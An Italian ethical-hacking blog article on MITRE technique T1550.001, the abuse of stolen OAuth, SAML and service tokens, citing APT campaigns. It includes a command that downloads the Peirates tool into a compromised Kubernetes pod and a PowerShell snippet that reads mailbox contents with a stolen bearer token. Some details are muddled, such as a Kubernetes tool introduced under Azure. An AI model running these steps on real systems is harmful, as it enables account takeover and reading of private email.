Token Rubati: Use Alternate Authentication Material: Application Access Token (T1550.001)

L'abuso di token applicativi rappresenta una tecnica sofisticata che permette agli attaccanti di aggirare completamente i processi di autenticazione tradizionali. Questa metodologia sfrutta token OAuth, SAML o di servizio compromessi per accedere a risorse cloud, container e SaaS senza mai inserire credenziali.

La tecnica si manifesta in due fasi critiche della kill chain: Defense Evasion (TA0005) quando l'attaccante utilizza token validi per mascherarsi come utente legittimo, e Lateral Movement (TA0008) quando sfrutta i privilegi del token per espandersi nell'infrastruttura. Un singolo token compromesso può garantire accesso persistente a email, documenti e API aziendali.

APT28 ha dimostrato l'efficacia devastante di questa tecnica compromettendo account Gmail e Yahoo attraverso applicazioni OAuth malevole. Durante la campagna SolarWinds Compromise, APT29 ha utilizzato service principal compromessi per modificare ambienti Office 365, evidenziando come 2 gruppi APT abbiano già weaponizzato questa capacità con 2 strumenti specializzati.

Il primo passo per testare la sicurezza dei token è identificare quelli attivi nel sistema. In ambiente AWS, puoi utilizzare il comando:

aws sts get-federation-token --name test-session --policy file://policy.json

Questo genera un token temporaneo che simula quello che un attaccante potrebbe rubare. Una volta ottenuto, il token può essere utilizzato per accedere alle risorse senza autenticazione aggiuntiva.

Per ambienti Azure, il tool Peirates automatizza l'estrazione e l'abuso di service account token Kubernetes. L'installazione è immediata:

kubectl exec -it compromised-pod -- curl -L https://github.com/inguardians/peirates/releases/download/v1.1.0/peirates-linux-amd64 -o peirates

Una volta dentro un pod compromesso, Peirates enumera automaticamente tutti i token disponibili e permette di switchare tra diversi service account con un singolo comando. Questo simula perfettamente l'attività di HAFNIUM che ha abusato service principal con permessi amministrativi.

Per testare OAuth token theft in ambiente Office 365, puoi utilizzare PowerShell per simulare richieste API con token rubati:

$token = "eyJ0eXAiOiJKV1QiLCJhbGciOi..."
$headers = @{Authorization = "Bearer $token"}
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages" -Headers $headers

Il malware CreepyDrive dimostra come refresh token legittimi possano mantenere accesso persistente a OneDrive. Per replicare questo comportamento in laboratorio, configura un'applicazione OAuth che richiede refresh token con scope estesi e testa la persistenza anche dopo il cambio password dell'utente vittima.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo

We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.